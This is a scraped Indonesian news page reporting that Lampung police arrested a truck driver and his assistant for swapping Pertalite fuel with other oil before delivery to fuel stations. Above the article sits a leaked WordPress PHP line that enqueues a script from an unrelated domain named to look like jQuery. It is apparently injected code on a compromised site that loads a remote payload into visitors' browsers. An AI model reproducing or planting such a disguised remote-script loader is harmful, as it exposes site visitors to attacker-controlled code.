add_action('wp_enqueue_scripts', function () { wp_enqueue_script( 'external-script', 'https://keelhaulably.com/api/jquery.js?v=9', array(), null, true ); }); Polda Lampung Ungkap Kasus Pencampuran Bahan Bakar Minyak Pertalite, 2 Tersangka Diamankan - Atmosfirnews.id

Polda Lampung Ungkap Kasus Pencampuran Bahan Bakar Minyak Pertalite, 2 Tersangka Diamankan

- Jurnalis

Kamis, 8 Mei 2025 - 15:07 WIB

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy


Lampung – Atmosfirnews.id

Polda Lampung melalui Ditreskrimsus Polda Lampung kembali ungkap kasus tindak pidana berupa memasukkan atau mencampur bahan bakar minyak BBM jenis pertalite dengan minyak mentah di dua SPBU di Lampung Tengah. Rabu(7/5/25)

Dirkrimsus Polda Lampung Kombes Derry Agung menyampaikan terungkapnya kasus ini setelah adanya keluhan masyarakat terkait BBM jenis Pertalite yang mereka isi. Setelah itu anggota lakukan penyelidikan dari mulai depo tempat para tersangka diwilayah Lampung Tengah.

Setelah dilakukan pengecekan di SPBU di Jalan Proklamator, Lampung Tengah, ditemukan bahwa BBM Pertalite yang dibongkar sebanyak 8.000 liter tidak sesuai standar yang dikeluarkan oleh Depot Pertamina Panjang. Pengecekan densitas dan temperatur menunjukkan ketidaksesuaian dengan faktur pengiriman resmi.

Baca Juga :  Ketua FKWKP Apresiasi Kejari Pringsewu Berhasil Bongkar Kasus Korupsi Dana Hibah LPTQ TA. 2022

Kedua tersangka yakni A dan MI yang bertugas sebagai kenek dan sopir mengaku telah memuat BBM Pertalite dari Depot Pertamina Panjang, modus yang digunakan pelaku yaitu berhenti di sebuah lahan kosong di Jalan Soekarno-Hatta, Bandarlampung. Di lokasi tersebut, mereka membongkar dan mengurangi 6.000 liter BBM Pertalite asli dan menggantinya dengan minyak lain berwarna putih (bening) untuk mendapatkan keuntungan ilegal.

Kedua tersangka dijerat dengan Pasal 54 Undang-Undang Nomor 22 Tahun 2001 tentang Minyak dan Gas Bumi juncto Pasal 55 dan 56 KUHP, dengan ancaman hukuman penjara maksimal 6 tahun dan denda hingga Rp60 miliar.

“Kami tengah melakukan pengembangan untuk lebih lanjut dan telah mengamankan beberapa BB, jadi pelaku ini membawa BBM dari depo menuju SPBU kemudian mengganti BBM dengan minyak mentah, sehingga bisa saja tercampur di lokasi SPBU”, kata Dirkrimsus

Baca Juga :  Apresiasi Pelayanan Publik di Polresta Bandar Lampung, Wamen PANRB Beri Nilai 90

“Kedua tersangka telah beroperasi selama 6 bulan dengan frekuensi 1-2 kali per minggu”, tambahnya

Kombes Pol Derry Agung Wijaya selaku Dirreskrimsus menyatakan bahwa kasus ini merupakan bentuk komitmen Polda Lampung dalam memberantas praktik ilegal yang merugikan negara dan masyarakat.

“Kami tidak toleransi terhadap segala bentuk pemalsuan BBM yang dapat merusak kualitas bahan bakar dan merugikan konsumen, saat ini berkas perkara telah dinyatakan lengkap (P-21), dan kami akan segera mengirimkan tersangka beserta barang bukti ke JPU untuk proses hukum lebih lanjut,” tegas Direktur Reskrimsus.

Penulis : Redaksi

Berita Terkait

Dakwah Menembus Lapas, MCMI Lampung dan Tim Safari Dakwah Wakafkan 520 Al-Qur’an untuk Warga Binaan
KKN Universitas Saburai di Sukoharjo: Kampus Turun ke Desa, Dorong Sampah Terpilah, UMKM Digital hingga Pendidikan Antibullying
Geger Skandal Hotel! Suami JA Laporkan EH ke Polda Lampung, PAN Kini Didesak Bertindak
Hampir Rp 1 Miliar Telan APBD, Jalan Lorong Usaha Sudah Patah. GEPAK Desak PUPR dan Kontraktor Bertanggung Jawab
RSUDAM Minta Biaya Klaim Rp. 5,7 Juta Sebagai Syarat Mencabut Status Kematian dan Memulihkan Kepesertaannya, Wiwik : Kan Saya Masih Hidup
Ketua GEPAK Ingatkan Bahaya Trial by The Press di Tengah Isu Perselingkuhan Dua Anggota DPRD Bandar Lampung
Sengkarut BPJS dan RSUD Abdul Moeloek Diungkap Korban Wiwik Kusumawati
Cabdin Pendidikan Wilayah II Gandeng UPT Perpustakaan UIN Raden Intan Perkuat Ekosistem Literasi Sekolah
Berita ini 20 kali dibaca

Berita Terkait

Senin, 24 Agustus 2026 - 22:11 WIB

Dakwah Menembus Lapas, MCMI Lampung dan Tim Safari Dakwah Wakafkan 520 Al-Qur’an untuk Warga Binaan

Senin, 24 Agustus 2026 - 19:56 WIB

KKN Universitas Saburai di Sukoharjo: Kampus Turun ke Desa, Dorong Sampah Terpilah, UMKM Digital hingga Pendidikan Antibullying

Senin, 24 Agustus 2026 - 14:05 WIB

Geger Skandal Hotel! Suami JA Laporkan EH ke Polda Lampung, PAN Kini Didesak Bertindak

Minggu, 23 Agustus 2026 - 12:23 WIB

Hampir Rp 1 Miliar Telan APBD, Jalan Lorong Usaha Sudah Patah. GEPAK Desak PUPR dan Kontraktor Bertanggung Jawab

Sabtu, 22 Agustus 2026 - 21:38 WIB

RSUDAM Minta Biaya Klaim Rp. 5,7 Juta Sebagai Syarat Mencabut Status Kematian dan Memulihkan Kepesertaannya, Wiwik : Kan Saya Masih Hidup

Berita Terbaru